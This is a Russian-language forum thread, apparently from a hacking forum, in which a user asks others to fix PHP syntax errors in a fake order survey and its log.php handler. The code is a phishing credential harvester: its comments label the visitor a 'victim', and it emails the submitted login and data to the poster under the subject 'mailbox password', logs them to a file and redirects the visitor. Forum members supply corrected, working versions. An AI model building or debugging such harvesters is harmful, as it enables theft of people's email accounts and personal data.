Прошу помочь с кодом опросника. Вроде все правильно, но какая то ошибка проскочила. вот сам код лога php Code: <?PHP $Login = $_POST['login']; //Логин $radio = $_POST['radio']; // частота пользования $e_zakaz = $_POST['e_zakaz']; // Заказ $3_pole = $_POST['3_pole']; // данные клиента $otkuda = $_POST['otkuda']; // откуда узнали о сайте $Other = $_POST['Other]; // другая информация $ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы $Data = date("d-m-y H:i:s", time()); // Дата и время $text = "[$Data] IP:$ip Мыло:$Login@Domain частота пользования:$radio; заказ$e_zakaz; данные клиента$3_pole; откуда узнали о сайте:$otkuda; другая информация:$Other; $to = "[email protected]"; // кому присылаем данные ( E-mail адресс ) $sub = " Пароль от ящика: $Login@Domain"; // тема письма mail($to,$sub,$text); // Отсылаем сообщение на E-mail $filelog = fopen("file.php","a+"); //открываем файл базы fwrite($filelog,"\n $text \n"); //записываем всё fclose($filelog); //закрываем echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; // ?> а тут код формы опросника. Code: <form name="Zakaz_form" method="post" action="log.php"> <input type="text" name="e_zakaz" id="e_zakaz"> @ <select name="Domain" size="1" id="Serv" tabindex="1"> <option>mail.ru</option> <option>inbox.ru</option> <option>list.ru</option> <option>bk.ru</option> <option>yandex.ru</option> <option>rambler.ru</option> </select> </p> <p> Частота пользования:</p> <p class="стиль6"> <label> <input type="radio" name="radio" id="evryday" value="evryday"> <span class="стиль7">Ежедневно</span></label> <label> <input type="radio" name="radio" id="2-3 times" value="2-3 times"> <span class="стиль7">2-3 раза в неделю</span></label> <label> <input type="radio" name="radio" id="redko" value="redko"> <span class="стиль7">менее 1 раза в неделю</span></label> </p> <img src="http://bin-cgi.ru/img/s.gif" border="0"> Ваши контактные данные (e-mail или ICQ) : <input name="3_pole" type="text" id="3_pole" size="50"> <p>Выбирите способ оплаты:</p> <p> <select name="oplata" id="oplata" tabindex="1"> <option>WebMoney WMZ</option> <option>WebMoney WMR</option> </select> </p> <p>Откуда вы узнали о нашем сайте? </p><p> <input type="text" name="otkuda" id="otkuda"> </p> <p> Дополнительные сведенья: </p> <textarea name="Other" id="Other" cols="45" rows="5"></textarea> <div align="center"> <input name="Zakazat" type="submit" id="Zakazat" onClick="log.php" onDblClick="log.php" onKeyPress="log.php" onKeyDown="log.php" onKeyUp="log.php" value="Заказать"> </div> </form> Прошу помочь исправить код, если вас это не затруднит. С уважением
выдает следующую ошибку при исполнении файла log.php Code: Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/site/domains/site.ru/public_html/log.php on line 5
PHP: $3_pole = $_POST['3_pole']; // данные клиента Имя переменной НЕ может начинаться с ЦИФРЫ!!! Читай учебники
PHP: $3_pole = $_POST['3_pole']; // данные клиента Имя переменной не может начинаться с цифры. Обзови её например $pole_3. P.S. вот вы быстрые
PHP: <?PHP $Login = $_POST['login']; //Логин $radio = $_POST['radio']; // частота пользования $e_zakaz = $_POST['e_zakaz']; // Заказ $three_pole = $_POST['three_pole']; // данные клиента $otkuda = $_POST['otkuda']; // откуда узнали о сайте $Other = $_POST['Other']; //!!!!!!!!!!!/// другая информация $ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы $Data = date("d-m-y H:i:s", time()); // Дата и время $text = '['.$Data'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other; $to = "[email protected]"; // кому присылаем данные ( E-mail адресс ) $sub = " Пароль от ящика: $Login@Domain"; // тема письма mail($to,$sub,$text); // Отсылаем сообщение на E-mail $filelog = fopen("file.php","a+"); //открываем файл базы fwrite($filelog,"\n $text \n"); //записываем всё fclose($filelog); //закрываем echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; // ?>
ух ты, какие вы быстрые)))))))) впервые за два года на античате попросил помощь, и сразу же получил))))))))), Спасибо большое, расцеловать бы вас, да не дотянусь... Честно, спасибо большое, щас попробую исправить
eLWAux использовал твою модерницазию с three_pole, и теперь выдал следующую ошибку Code: Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/site/domains/site.ru/public_html/log.php on line 11
PHP: $text = '['.$Data.'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other; точку пропустил